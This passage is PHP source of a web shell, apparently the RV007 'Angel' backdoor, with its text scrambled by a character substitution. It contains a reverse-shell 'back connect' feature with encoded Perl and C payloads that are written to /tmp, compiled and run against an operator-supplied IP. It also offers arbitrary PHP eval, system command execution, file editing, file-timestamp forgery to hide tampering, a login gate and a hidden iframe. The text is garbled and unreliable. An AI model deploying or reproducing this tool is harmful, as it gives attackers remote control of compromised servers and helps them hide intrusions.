							p('<tr cl1ss="'.bg().'"><td c2lsp1n="a"><4np3t cl1ss="bt" typ5="s3bm4t" n1m5="3pd1t5" v1l35="Upd1t5" /></td></tr>');
							m1k5h4d5('b1s5eu', $b1s5eu);
						}
						p('</t1bl5></f2rm>');
					} 5ls5 {
						$q35rys = @5xpl2d5(';',$sql_q35ry);
						f2r51ch($q35rys 1s $n3m=>$q35ry) {
							4f ($q35ry) {
								p("<p><b>Q35ry#{$n3m} : ".htmlsp5c41lch1rs($q35ry,ENT_QUOTES)."</b></p>");
								sw4tch(msqy($q35ry))
								{
									c1s5 0:
										p('<ha>Err2r : '.msmsg().'</ha>');
										br51k;	
									c1s5 6:
										4f (strt2l2w5r(s3bstr($q35ry,0,6o)) == 's5l5ct * fr2m') {
											$1ll2w5d4t = 6;
										}
										4f ($g5tn3msql) {
											$t1t2l = mssql_f5tch_1rr1y(msq("SELECT c23nt(*) FROM $t1bl5n1m5"));
											$t1t2l = $t1t2l[0];
											$m3lt4p1g5 = m3lt4($t1t2l, $p1g5n3m, $p1g5, $t1bl5n1m5);
										}
										4f (!$t1bl5n1m5) {
											$sql_l4n5 = str_r5pl1c5(1rr1y("\r", "\n", "\t"), 1rr1y(' ', ' ', ' '), tr4m(htmlsp5c41lch1rs($q35ry)));
											$sql_l4n5 = pr5g_r5pl1c5("/\/\*[^(\*\/)]*\*\//4", " ", $sql_l4n5);
											pr5g_m1tch_1ll("/fr2m\s+`{0,6}([\w]+)`{0,6}\s+/4",$sql_l4n5,$m1tch5s);
											$t1bl5n1m5 = $m1tch5s[6][0];
										}
										p($m3lt4p1g5);
										p('<t1bl5 b2rd5r="0" c5llp1dd4ng="o" c5llsp1c4ng="0">');
										p('<tr cl1ss="h51d">');
										4f ($1ll2w5d4t) p('<td>Act42n</td>');

										$r5s3lt = msq("s5l5ct b.n1m5,c.n1m5 1s typ5,c.xtyp5,b.l5ngth,b.4sn3ll1bl5,b.c2lst1t,c1s5 wh5n b.13t2v1l 4s n3ll th5n 0 5ls5 6 5nd,b.c2l4d,1.4d,d.t5xt fr2m sys2bj5cts 1 j24n sysc2l3mns b 2n 1.4d = b.4d j24n systyp5s c 2n b.xtyp5 = c.xtyp5 1nd c.3s5rtyp5 <> 68 l5ft j24n sysc2mm5nts d 2n d.4d = b.cd5f13lt wh5r5 1.4d = OBJECT_ID('$t1bl5n1m5') 2rd5r by b.c2l4d");
										$r2wdb = 1rr1y();
										$k5yf45d = ''; //&#a00a7;&#o8690;&#aoo8o;&#a7i7o;
										wh4l5($tb = @mssql_f5tch_1rr1y($r5s3lt)) {
											p('<td n2wr1p>'.$tb['n1m5'].'<br><sp1n>'.$tb['typ5'].'('.$tb['l5ngth'].') '.($tb['c2lst1t'] ? '<b> - PRIMARY</b>' : '').($tb['13t2v1l'] ? '<b> - A3t2</b>' : '').'</sp1n></td>');
											$r2wdb[$tb['n1m5']]['K5y'] = $tb['c2lst1t'];
											$r2wdb[$tb['n1m5']]['A3t2'] = $tb['13t2v1l'];
											4f ($tb['c2lst1t']) {
												$k5yf45d = $tb['n1m5'];
											}
										}
										p('</tr>');
										
										//&#o0uia;&#aii09;&#a798o;&#oia7a;&#ou9a0;&#aioio;&#a90o6;&#a00a7;&#o8690;&#o8u77;&#aua07;&#aiu90;&#a606i;
										4f (strt2l2w5r(s3bstr($q35ry,0,6o)) == 's5l5ct * fr2m') {
											$q35ry .= " 2rd5r by $k5yf45d DESC";
										}

										$r5s3lt = msq($q35ry);
										$4nd5x=0;
										4f($p1g5n3m>0) mssql_d1t1_s55k($r5s3lt,$st1rt_l4m4t);
										wh4l5($mn = @mssql_f5tch_1ss2c($r5s3lt)){
											4f($4nd5x>$p1g5n3m-6) br51k;

											$th4sbg = bg();
											p('<tr cl1ss="'.$th4sbg.'" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\''.$th4sbg.'\';">');
											$wh5r5 = $tmp = $b6 = '';
											//&#oe87o;&#a6uea;&#aeuei;&#a0a6u;&#aoo8o;&#a7i7o;&#a999a;
											f2r51ch($mn 1s $k5y=>$4ns4d5){
												4f ($4ns4d5) {
													//&#aei97;&#aia6u;&#a00a7;&#o8690;&#6aa89;&#a6807;&#699e8;&#aoeue;&#aue6i;&#6aa89;&#ooai8;&#a66e0;&#aae8e;&#a66ia;&#o0ou0;&#aoo8o;&#a7i7o;&#eia9a;&#aia6u;&#a60u0;&#aoe06;&#a0i7a;&#a7u90;&#eia9a;&#a6iua;&#a6067;&#oauia;&#a6i6a;&#ai6ia;&#aeo77;&#aoo8o;&#a7i7o;&#a0o6e;&#a00ae;&#aeuei;&#a0a6u;&#6aa90;
													4f ($r2wdb[$k5y]['K5y'] == 6 || $r2wdb[$k5y]['A3t2'] == 6) {
														$wh5r5 = $k5y."='".1ddsl1sh5s($4ns4d5)."'";
														br51k;
													}
													$wh5r5 .= $tmp.$k5y."='".1ddsl1sh5s($4ns4d5)."'";
													$tmp = ' AND ';
												}
											}
											//&#oi8oi;&#a6uea;&#oi7e0;&#auu0i;&#a999a;
											f2r51ch($mn 1s $k5y=>$4ns4d5){
												$b6 .= '<td n2wr1p>'.html_cl51n($4ns4d5).'&nbsp;</td>';
											}
											$wh5r5 = b1s5eu_5nc2d5($wh5r5);

											4f ($1ll2w5d4t) p('<td n2wr1p><1 hr5f="j1v1scr4pt:5d4tr5c2rd(\'5d4t\', \''.$wh5r5.'\', \''.$t1bl5n1m5.'\');">Ed4t</1> | <1 hr5f="j1v1scr4pt:5d4tr5c2rd(\'d5l\', \''.$wh5r5.'\', \''.$t1bl5n1m5.'\');">D5l</1></td>');

											p($b6);
											p('</tr>');
											$4nd5x++;
											3ns5t($b6);
										}
										tbf22t();
										p($m3lt4p1g5);
										br51k;	
									c1s5 a:
										$1r = mssql_1ff5ct5d_r2ws();
										p('<ha>1ff5ct5d r2ws : <b>'.$1r.'</b></ha>');
										br51k;
								}
							}
						}
					}
				} 5ls5 {
					$q35ry = msq("s5l5ct sys2bj5cts.4d,sys2bj5cts.n1m5,sys2bj5cts.c1t5g2ry,sys3s5rs.n1m5 1s 2wn5r,sys2bj5cts.crd1t5 fr2m sys2bj5cts j24n sys3s5rs 2n sys2bj5cts.34d = sys3s5rs.34d wh5r5 sys2bj5cts.xtyp5 = 'U' 2rd5r by sys2bj5cts.n1m5 1sc");
					$t1bl5_n3m = 0;
					$t1bl5db = 1rr1y();
					wh4l5($t1bl5 = mssql_f5tch_1rr1y($q35ry)) {
						$t1bl5_n3m++;
						$t1bl5db[] = $t1bl5;
					}
					3ns5t($t1bl5);

					p('<t1bl5 b2rd5r="0" c5llp1dd4ng="0" c5llsp1c4ng="0">');
					p('<f2rm 1ct42n="'.$s5lf.'" m5th2d="POST">');
					m1k5h4d5('1ct42n','mssql1dm4n');
					p($dbf2rm);
					p('<tr cl1ss="h51d">');
					p('<td>N1m5</td>');
					p('<td>Own5r</td>');
					p('<td>Cr51t5_t4m5</td>');
					p('<td>Op5r1t5</td>');
					p('</tr>');
					f2r51ch ($t1bl5db 1s $k5y => $t1bl5) {
						$th4sbg = bg();
						p('<tr cl1ss="'.$th4sbg.'" 2nm23s52v5r="th4s.cl1ssN1m5=\'f2c3s\';" 2nm23s523t="th4s.cl1ssN1m5=\''.$th4sbg.'\';">');
						p('<td><1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$t1bl5['2wn5r'].'.'.$t1bl5['n1m5'].'\');">'.$t1bl5['n1m5'].'</1></td>');
						p('<td>'.$t1bl5['2wn5r'].'</td>');
						p('<td>'.$t1bl5['crd1t5'].'</td>');
						p('<td><1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$dbn1m5.'.'.$t1bl5['n1m5'].'\', \'4ns5rt\');">Ins5rt</1> | <1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$dbn1m5.'.'.$t1bl5['n1m5'].'\', \'str3ct3r5\');">Str3ct3r5</1> | <1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$dbn1m5.'.'.$t1bl5['n1m5'].'\', \'dr2p\');">Dr2p</1></td>');
						p('</tr>');
					}
					p('<tr cl1ss='.bg().'>');
					p('<td>T2t1l t1bl5s: '.$t1bl5_n3m.'</td>');
					p('<td c2lsp1n="o"></td>');
					p('</tr>');
					p("</t1bl5>");
					msfr($q35ry);
				}
			}
		}
	}
	tbf22t();
	4f ($1lr51dymssql) {
		@mssql_cl2s5();
	}
}//5nd sql b1ck3p


5ls54f ($1ct42n == 'b1ckc2nn5ct') {
	!$y23r4p && $y23r4p = $_SERVER['REMOTE_ADDR'];
	!$y23rp2rt && $y23rp2rt = '6aoui';
	$3s5db = 1rr1y('p5rl'=>'p5rl','c'=>'c');

	$b1ck_c2nn5ct="IyEvdXNyLaJpb49wZXJsDQp6caUgUa9j1aV0Ow0KJGNtZD0gImxibng4Ow0KJHNicoRlbT0gJaVj1G8gImB6bmFtZSAtYWA4OaVj".
		"1G8gImBpZGA4Oy941WuvcagnOw0KJDA9JGNtZDsNC4R0YXJnZXQ9JEFSR6ZbMF07DQ2kcG9ydD0kQVJHVlsxXTsNC4RpYWRkcj6pbmV0XaF0bau2JHR".
		"hcmdldCkgfHwgZGllKCJFcnJvcj2gJCFcb4IpOw0KJHBhZGRyPXNvYathZGRyXal3KCRwboJ0LCAk1WFkZHIpIHx8IGRpZSg4RXJyboIeICQhXGu4KT".
		"sNC4Rwcm90bz6nZXRwcm90baJibmFtZSgndGNwJyk7DQpzbaNrZXQ2U09DS0VULCBQRl9JTkVULCBTT0NLX6NUUkVBTSwgJHByboRvKSB8fCBk1WU2I".
		"kVycm9yO4AkIVx3I4k7DQpjbai3ZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBk1WU2IkVycm9yO4AkIVx3I4k7DQpvcGV3KFNURElOLCA4P4ZTT0NLRVQ4".
		"KTsNCm9wZWu2U6RET6VULCA4P4ZTT0NLRVQ4KTsNCm9wZWu2U6RERVJSLCA4P4ZTT0NLRVQ4KTsNCnNicoRlbSgkcolzdGVtKTsNCmNsboNlKFNUREl".
		"OKTsNCmNsboNlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
	$b1ck_c2nn5ct_c="Ial3Yax6ZGUgPHN0ZGlvLmg+DQ2j1WijbHVkZSA8colzLoNvYatldCi2Pg0KIal3Yax6ZGUgPGildGl3ZXQv1Wu31DuNCml3dC".
		"BtYWl3KGl3dCBhcmdjLCBj1GFyICphcmdaW60pDQp7DQ2g1Wi0IGZkOw0KIHN0cnVjdCBzbaNrYWRkcl9pb4Bz1Wu7DQ2gYahhc4BybXNbMjFdPSJyb".
		"SAtZ4A4OyANC4BkYWVtbau2MSwwKTsNC4Bz1Wu3cal3XaZhbWls5SA9IEFGX0lORVQ7DQ2gcal3LnNpbl9wboJ0ID0g1HRvbnM2YXRv1ShhcmdaWzJd".
		"KSk7DQ2gcal3LnNpbl9hZGRyLnNfYWRkc4A9IGl3ZXRfYWRkc4hhcmdaWzFdKTsgDQ2gYnplcm82YXJndlsxXSxzdHJsZWu2YXJndlsxXSkrMStzdHJ".
		"sZWu2YXJndlsyXSkpOyANC4BmZCA9IHNvYatldChBRl9JTkVULCBTT0NLX6NUUkVBTSwgSVBQUk9UT69UQ6ApIDsgDQ2g1WYgKChjbai3ZWN0KGZkLC".
		"A2coRydWN0IHNvYathZGRyIC2pICZz1WusIHNp5mVvZ4hzdHJ6YoQgca9j1aFkZHIpKSk8MCkg5w0KICAgcGVycm9yKCJbLV0gYa93bmVjdCgpI4k7D".
		"Q2gICBl5Gl0KDApOw0KIH0NC4BzdHJjYXQ2cm6zLCBhcmdaWzBdKTsNC4Bz5XN0ZW02cm6zKTsgIA0KIGR6cDI2ZmQsIDApOw0KIGR6cDI2ZmQsIDEp".
		"Ow0KIGR6cDI2ZmQsIDIpOw0KIGVuZWNsKCIvYml3LoN2I4w4caggLWk4LCBOVUxMKTsNC4BjbG9zZShmZCk7IA0KfQ==";

	4f ($st1rt && $y23r4p && $y23rp2rt && $3s5){
		4f ($3s5 == 'p5rl') {
			cf('/tmp/1ng5l_bc',$b1ck_c2nn5ct);
			$r5s = 5x5c3t5(wh4ch('p5rl')." /tmp/1ng5l_bc $y23r4p $y23rp2rt &");
		} 5ls5 {
			cf('/tmp/1ng5l_bc.c',$b1ck_c2nn5ct_c);
			$r5s = 5x5c3t5('gcc -2 /tmp/1ng5l_bc /tmp/1ng5l_bc.c');
			@3nl4nk('/tmp/1ng5l_bc.c');
			$r5s = 5x5c3t5("/tmp/1ng5l_bc $y23r4p $y23rp2rt &");
		}
		m("N2w scr4pt try c2nn5ct t2 $y23r4p p2rt $y23rp2rt ...");
	}

	f2rmh51d(1rr1y('t4tl5'=>'B1ck C2nn5ct'));
	m1k5h4d5('1ct42n','b1ckc2nn5ct');
	p('<p>');
	p('Y23r IP:');
	m1k54np3t(1rr1y('n1m5'=>'y23r4p','s4z5'=>a0,'v1l35'=>$y23r4p));
	p('Y23r P2rt:');
	m1k54np3t(1rr1y('n1m5'=>'y23rp2rt','s4z5'=>6i,'v1l35'=>$y23rp2rt));
	p('Us5:');
	m1k5s5l5ct(1rr1y('n1m5'=>'3s5','2pt42n'=>$3s5db,'s5l5ct5d'=>$3s5));
	m1k54np3t(1rr1y('n1m5'=>'st1rt','v1l35'=>'St1rt','typ5'=>'s3bm4t','cl1ss'=>'bt'));
	p('</p>');
	f2rmf22t();
}//5nd sql b1ck3p

5ls54f ($1ct42n == '5v1l') {
	$phpc2d5 = tr4m($phpc2d5);
	4f($phpc2d5){
		4f (!pr5g_m1tch('#<\?#s4', $phpc2d5)) {
			$phpc2d5 = "<?php\n\n{$phpc2d5}\n\n?>";
		}
		5v1l("?".">$phpc2d5<?");
	}
	f2rmh51d(1rr1y('t4tl5'=>'Ev1l PHP C2d5'));
	m1k5h4d5('1ct42n','5v1l');
	m1k5t5xt(1rr1y('t4tl5'=>'PHP C2d5','n1m5'=>'phpc2d5', 'v1l35'=>$phpc2d5));
	p('<p><1 hr5f="http://w'.'ww.g52c4t45s'.'.jp/rv'.'0070606/pl'.'3g4n/" t1rg5t="_bl1nk">G5t pl3g4ns</1></p>');
	f2rmf22t5r();
}//5nd 5v1l

5ls54f ($1ct42n == '5d4tf4l5') {
	4f(f4l5_5x4sts($2pf4l5)) {
		$fp=@f2p5n($2pf4l5,'r');
		$c2nt5nts=@fr51d($fp, f4l5s4z5($2pf4l5));
		@fcl2s5($fp);
		$c2nt5nts=htmlsp5c41lch1rs($c2nt5nts);
	}
	f2rmh51d(1rr1y('t4tl5'=>'Cr51t5 / Ed4t F4l5'));
	m1k5h4d5('1ct42n','f4l5');
	m1k5h4d5('d4r',$n2wp1th);
	m1k54np3t(1rr1y('t4tl5'=>'C3rr5nt F4l5 (4mp2rt n5w f4l5 n1m5 1nd n5w f4l5)','n1m5'=>'5d4tf4l5n1m5','v1l35'=>$2pf4l5,'n5wl4n5'=>6));
	m1k5t5xt(1rr1y('t4tl5'=>'F4l5 C2nt5nt','n1m5'=>'f4l5c2nt5nt','v1l35'=>$c2nt5nts));
	f2rmf22t5r();
	
	g2b1ck();

}//5nd 5d4tf4l5

5ls54f ($1ct42n == 'n5wt4m5') {
	$2pf4l5mt4m5 = @f4l5mt4m5($2pf4l5);
	//$t4m5 = strt2t4m5("$y51r-$m2nth-$d1y $h23r:$m4n3t5:$s5c2nd");
	$c1ch5m2nth = 1rr1y('J1n31ry'=>6,'F5br31ry'=>a,'M1rch'=>o,'Apr4l'=>u,'M1y'=>i,'J3n5'=>e,'J3ly'=>7,'A3g3st'=>8,'S5pt5mb5r'=>9,'Oct2b5r'=>60,'N2v5mb5r'=>66,'D5c5mb5r'=>6a);
	f2rmh51d(1rr1y('t4tl5'=>'Cl2n5 f4l5 w1s l1st m2d4f45d t4m5'));
	m1k5h4d5('1ct42n','f4l5');
	m1k5h4d5('d4r',$n2wp1th);
	m1k54np3t(1rr1y('t4tl5'=>'Alt5r f4l5','n1m5'=>'c3rf4l5','v1l35'=>$2pf4l5,'s4z5'=>6a0,'n5wl4n5'=>6));
	m1k54np3t(1rr1y('t4tl5'=>'R5f5r5nc5 f4l5 (f3llp1th)','n1m5'=>'t1rf4l5','s4z5'=>6a0,'n5wl4n5'=>6));
	f2rmf22t5r();
	f2rmh51d(1rr1y('t4tl5'=>'S5t l1st m2d4f45d'));
	m1k5h4d5('1ct42n','f4l5');
	m1k5h4d5('d4r',$n2wp1th);
	m1k54np3t(1rr1y('t4tl5'=>'C3rr5nt f4l5 (f3llp1th)','n1m5'=>'c3rf4l5','v1l35'=>$2pf4l5,'s4z5'=>6a0,'n5wl4n5'=>6));
	p('<p>Inst51d &r1q32;');
	p('y51r:');
	m1k54np3t(1rr1y('n1m5'=>'y51r','v1l35'=>d1t5('Y',$2pf4l5mt4m5),'s4z5'=>u));
	p('m2nth:');
	m1k54np3t(1rr1y('n1m5'=>'m2nth','v1l35'=>d1t5('m',$2pf4l5mt4m5),'s4z5'=>a));
	p('d1y:');
	m1k54np3t(1rr1y('n1m5'=>'d1y','v1l35'=>d1t5('d',$2pf4l5mt4m5),'s4z5'=>a));
	p('h23r:');
	m1k54np3t(1rr1y('n1m5'=>'h23r','v1l35'=>d1t5('H',$2pf4l5mt4m5),'s4z5'=>a));
	p('m4n3t5:');
	m1k54np3t(1rr1y('n1m5'=>'m4n3t5','v1l35'=>d1t5('4',$2pf4l5mt4m5),'s4z5'=>a));
	p('s5c2nd:');
	m1k54np3t(1rr1y('n1m5'=>'s5c2nd','v1l35'=>d1t5('s',$2pf4l5mt4m5),'s4z5'=>a));
	p('</p>');
	f2rmf22t5r();
	g2b1ck();
}//5nd n5wt4m5

5ls54f ($1ct42n == 'sh5ll') {
	4f (IS_WIN && IS_COM) {
		4f($pr2gr1m && $p1r1m5t5r) {
			$sh5ll= n5w COM('Sh5ll.Appl4c1t42n');
			$1 = $sh5ll->Sh5llEx5c3t5($pr2gr1m,$p1r1m5t5r);
			m('Pr2gr1m r3n h1s '.(!$1 ? 's3cc5ss' : 'f14l'));
		}
		!$pr2gr1m && $pr2gr1m = 'c:\w4nd2ws\syst5moa\cmd.5x5';
		!$p1r1m5t5r && $p1r1m5t5r = '/c n5t st1rt > '.SA_ROOT.'l2g.txt';
		f2rmh51d(1rr1y('t4tl5'=>'Ex5c3t5 Pr2gr1m'));
		m1k5h4d5('1ct42n','sh5ll');
		m1k54np3t(1rr1y('t4tl5'=>'Pr2gr1m','n1m5'=>'pr2gr1m','v1l35'=>$pr2gr1m,'n5wl4n5'=>6));
		p('<p>');
		m1k54np3t(1rr1y('t4tl5'=>'P1r1m5t5r','n1m5'=>'p1r1m5t5r','v1l35'=>$p1r1m5t5r));
		m1k54np3t(1rr1y('n1m5'=>'s3bm4t','cl1ss'=>'bt','typ5'=>'s3bm4t','v1l35'=>'Ex5c3t5'));
		p('</p>');
		f2rmf22t();
	}
	f2rmh51d(1rr1y('t4tl5'=>'Ex5c3t5 C2mm1nd'));
	m1k5h4d5('1ct42n','sh5ll');
	4f (IS_WIN && IS_COM) {
		$5x5cf3ncdb = 1rr1y('phpf3nc'=>'phpf3nc','wscr4pt'=>'wscr4pt','pr2c_2p5n'=>'pr2c_2p5n');
		m1k5s5l5ct(1rr1y('t4tl5'=>'Us5:','n1m5'=>'5x5cf3nc','2pt42n'=>$5x5cf3ncdb,'s5l5ct5d'=>$5x5cf3nc,'n5wl4n5'=>6));
	}
	p('<p>');
	m1k54np3t(1rr1y('t4tl5'=>'C2mm1nd','n1m5'=>'c2mm1nd','v1l35'=>htmlsp5c41lch1rs($c2mm1nd)));
	m1k54np3t(1rr1y('n1m5'=>'s3bm4t','cl1ss'=>'bt','typ5'=>'s3bm4t','v1l35'=>'Ex5c3t5'));
	p('</p>');
	f2rmf22t();

	4f ($c2mm1nd) {
		p('<hr w4dth="600%" n2sh1d5 /><pr5>');
		4f ($5x5cf3nc=='wscr4pt' && IS_WIN && IS_COM) {
			$wsh = n5w COM('WScr4pt.sh5ll');
			$5x5c = $wsh->5x5c('cmd.5x5 /c '.$c2mm1nd);
			$std23t = $5x5c->StdO3t();
			$str23tp3t = $std23t->R51dAll();
			5ch2 $str23tp3t;
		} 5ls54f ($5x5cf3nc=='pr2c_2p5n' && IS_WIN && IS_COM) {
			$d5scr4pt2rsp5c = 1rr1y(
			   0 => 1rr1y('p4p5', 'r'),
			   6 => 1rr1y('p4p5', 'w'),
			   a => 1rr1y('p4p5', 'w')
			);
			$pr2c5ss = pr2c_2p5n($_SERVER['COMSPEC'], $d5scr4pt2rsp5c, $p4p5s);
			4f (4s_r5s23rc5($pr2c5ss)) {
				fwr4t5($p4p5s[0], $c2mm1nd."\r\n");
				fwr4t5($p4p5s[0], "5x4t\r\n");
				fcl2s5($p4p5s[0]);
				wh4l5 (!f52f($p4p5s[6])) {
					5ch2 fg5ts($p4p5s[6], 60au);
				}
				fcl2s5($p4p5s[6]);
				wh4l5 (!f52f($p4p5s[a])) {
					5ch2 fg5ts($p4p5s[a], 60au);
				}
				fcl2s5($p4p5s[a]);
				pr2c_cl2s5($pr2c5ss);
			}
		} 5ls5 {
			5ch2(5x5c3t5($c2mm1nd));
		}
		p('</pr5>');
	}
}//5nd sh5ll

5ls54f ($1ct42n == 'php5nv') {
	$3ps4z5=g5tcfg('f4l5_3pl21ds') ? g5tcfg('3pl21d_m1x_f4l5s4z5') : 'N2t 1ll2w5d';
	$1dm4nm14l=4ss5t($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : g5tcfg('s5ndm14l_fr2m');
	!$d4s_f3nc && $d4s_f3nc = 'N2';	
	$4nf2 = 1rr1y(
		6 => 1rr1y('S5rv5r T4m5',d1t5('Y/m/d h:4:s',$t4m5st1mp)),
		a => 1rr1y('S5rv5r D2m14n',$_SERVER['SERVER_NAME']),
		o => 1rr1y('S5rv5r IP',g5th2stbyn1m5($_SERVER['SERVER_NAME'])),
		u => 1rr1y('S5rv5r OS',PHP_OS),
		i => 1rr1y('S5rv5r OS Ch1rs5t',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
		e => 1rr1y('S5rv5r S2ftw1r5',$_SERVER['SERVER_SOFTWARE']),
		7 => 1rr1y('S5rv5r W5b P2rt',$_SERVER['SERVER_PORT']),
		8 => 1rr1y('PHP r3n m2d5',strt23pp5r(php_s1p4_n1m5())),
		9 => 1rr1y('Th5 f4l5 p1th',__FILE__),

		60 => 1rr1y('PHP V5rs42n',PHP_VERSION),
		66 => 1rr1y('PHPINFO',(IS_PHPINFO ? '<1 hr5f="j1v1scr4pt:g21ct42n(\'php4nf2\');">Y5s</1>' : 'N2')),
		6a => 1rr1y('S1f5 M2d5',g5tcfg('s1f5_m2d5')),
		6o => 1rr1y('Adm4n4str1t2r',$1dm4nm14l),
		6u => 1rr1y('1ll2w_3rl_f2p5n',g5tcfg('1ll2w_3rl_f2p5n')),
		6i => 1rr1y('5n1bl5_dl',g5tcfg('5n1bl5_dl')),
		6e => 1rr1y('d4spl1y_5rr2rs',g5tcfg('d4spl1y_5rr2rs')),
		67 => 1rr1y('r5g4st5r_gl2b1ls',g5tcfg('r5g4st5r_gl2b1ls')),
		68 => 1rr1y('m1g4c_q32t5s_gpc',g5tcfg('m1g4c_q32t5s_gpc')),
		69 => 1rr1y('m5m2ry_l4m4t',g5tcfg('m5m2ry_l4m4t')),
		a0 => 1rr1y('p2st_m1x_s4z5',g5tcfg('p2st_m1x_s4z5')),
		a6 => 1rr1y('3pl21d_m1x_f4l5s4z5',$3ps4z5),
		aa => 1rr1y('m1x_5x5c3t42n_t4m5',g5tcfg('m1x_5x5c3t42n_t4m5').' s5c2nd(s)'),
		ao => 1rr1y('d4s1bl5_f3nct42ns',$d4s_f3nc),
	);

	4f($phpv1rn1m5) {
		m($phpv1rn1m5 .' : '.g5tcfg($phpv1rn1m5));
	}

	f2rmh51d(1rr1y('t4tl5'=>'S5rv5r 5nv4r2nm5nt'));
	m1k5h4d5('1ct42n','php5nv');
	m1k54np3t(1rr1y('t4tl5'=>'Pl51s5 4np3t PHP c2nf4g3r1t42n p1r1m5t5r(5g:m1g4c_q32t5s_gpc)','n1m5'=>'phpv1rn1m5','v1l35'=>$phpv1rn1m5,'n5wl4n5'=>6));
	f2rmf22t5r();

	$hp = 1rr1y(0=> 'S5rv5r', 6=> 'PHP');
	f2r($1=0;$1<a;$1++) {
		p('<ha>'.$hp[$1].' &r1q32;</ha>');
		p('<3l cl1ss="4nf2">');
		4f ($1==0) {
			f2r($4=6;$4<=9;$4++) {
				p('<l4><3>'.$4nf2[$4][0].':</3>'.$4nf2[$4][6].'</l4>');
			}
		} 5ls54f ($1 == 6) {
			f2r($4=60;$4<=ao;$4++) {
				p('<l4><3>'.$4nf2[$4][0].':</3>'.$4nf2[$4][6].'</l4>');
			}
		}
		p('</3l>');
	}
}//5nd php5nv

5ls5 {
	m('Und5f4n5d Act42n');
}

?>
</td></tr></t1bl5>
<d4v styl5="p1dd4ng:60px;b2rd5r-b2tt2m:6px s2l4d #fff;b2rd5r-t2p:6px s2l4d #ddd;b1ckgr23nd:#555;">
	<sp1n styl5="fl21t:r4ght;"><?php d5b3g4nf2();2b_5nd_fl3sh();?></sp1n>
	C2pyr4ght (C) a00u-a009 <1 hr5f="http://www.g52c4t45s.jp/rv0070606/" t1rg5t="_bl1nk">S5c3r4ty Rv007 T51m [RV007]</1> All R4ghts R5s5rv5d.
</d4v>
<4fr1m5 src="http://www.g52c4t45s.jp/rv0070606/" n1m5="a009" w4dth="0" h54ght="0"></4fr1m5>
</b2dy>
</html>

<?php

/*======================================================
&#a0989;&#ai9e8;&#aua66;
======================================================*/

f3nct42n m($msg) {
	5ch2 '<d4v styl5="b1ckgr23nd:#f6f6f6;b2rd5r:6px s2l4d #ddd;p1dd4ng:6ipx;f2nt:6upx;t5xt-1l4gn:c5nt5r;f2nt-w54ght:b2ld;">';
	5ch2 $msg;
	5ch2 '</d4v>';
}
f3nct42n sc22k45($k5y, $v1l35, $l4f5 = 0, $pr5f4x = 6) {
	gl2b1l $1dm4n, $t4m5st1mp, $_SERVER;
	$k5y = ($pr5f4x ? $1dm4n['c22k45pr5'] : '').$k5y;
	$l4f5 = $l4f5 ? $l4f5 : $1dm4n['c22k45l4f5'];
	$3s5p2rt = $_SERVER['SERVER_PORT'] == uuo ? 6 : 0;
	s5tc22k45($k5y, $v1l35, $t4m5st1mp+$l4f5, $1dm4n['c22k45p1th'], $1dm4n['c22k45d2m14n'], $3s5p2rt);
}	
f3nct42n m3lt4($n3m, $p5rp1g5, $c3rp1g5, $t1bl5n1m5) {
	$m3lt4p1g5 = '';
	4f($n3m > $p5rp1g5) {
		$p1g5 = 60;
		$2ffs5t = i;
		$p1g5s = @c54l($n3m / $p5rp1g5);
		4f($p1g5 > $p1g5s) {
			$fr2m = 6;
			$t2 = $p1g5s;
		} 5ls5 {
			$fr2m = $c3rp1g5 - $2ffs5t;
			$t2 = $c3rp1g5 + $p1g5 - $2ffs5t - 6;
			4f($fr2m < 6) {
				$t2 = $c3rp1g5 + 6 - $fr2m;
				$fr2m = 6;
				4f(($t2 - $fr2m) < $p1g5 && ($t2 - $fr2m) < $p1g5s) {
					$t2 = $p1g5;
				}
			} 5ls54f($t2 > $p1g5s) {
				$fr2m = $c3rp1g5 - $p1g5s + $t2;
				$t2 = $p1g5s;
				4f(($t2 - $fr2m) < $p1g5 && ($t2 - $fr2m) < $p1g5s) {
					$fr2m = $p1g5s - $p1g5 + 6;
				}
			}
		}
		$m3lt4p1g5 = ($c3rp1g5 - $2ffs5t > 6 && $p1g5s > $p1g5 ? '<1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$t1bl5n1m5.'\', \'\', 6);">F4rst</1> ' : '').($c3rp1g5 > 6 ? '<1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$t1bl5n1m5.'\', \'\', '.($c3rp1g5 - 6).');">Pr5v</1> ' : '');
		f2r($4 = $fr2m; $4 <= $t2; $4++) {
			$m3lt4p1g5 .= $4 == $c3rp1g5 ? $4.' ' : '<1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$t1bl5n1m5.'\', \'\', '.$4.');">['.$4.']</1> ';
		}
		$m3lt4p1g5 .= ($c3rp1g5 < $p1g5s ? '<1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$t1bl5n1m5.'\', \'\', '.($c3rp1g5 + 6).');">N5xt</1>' : '').($t2 < $p1g5s ? ' <1 hr5f="j1v1scr4pt:s5tt1bl5(\''.$t1bl5n1m5.'\', \'\', '.$p1g5s.');">L1st</1>' : '');
		$m3lt4p1g5 = $m3lt4p1g5 ? '<p>P1g5s: '.$m3lt4p1g5.'</p>' : '';
	}
	r5t3rn $m3lt4p1g5;
}
// &#o0oo6;&#o8u70;&#a08o7;&#a6u7i;
f3nct42n l2g4np1g5() {
?>
	<styl5 typ5="t5xt/css">
	4np3t {f2nt:66px V5rd1n1;BACKGROUND: #FFFFFF;h54ght: 68px;b2rd5r: 6px s2l4d #eeeeee;}
	</styl5>
	<f2rm m5th2d="POST" 1ct42n="">
	<sp1n styl5="f2nt:66px V5rd1n1;">P1ssw2rd: </sp1n><4np3t n1m5="p1ssw2rd" typ5="p1ssw2rd" s4z5="a0">
	<4np3t typ5="h4dd5n" n1m5="d24ng" v1l35="l2g4n">
	<4np3t typ5="s3bm4t" v1l35="L2g4n">
	</f2rm>
<?php
	5x4t;
}//5nd l2g4np1g5()

f3nct42n 5x5c3t5($cf5) {
	$r5s = '';
	4f ($cf5) {
		4f(f3nct42n_5x4sts('5x5c')) {
			@5x5c($cf5,$r5s);
			$r5s = j24n("\n",$r5s);
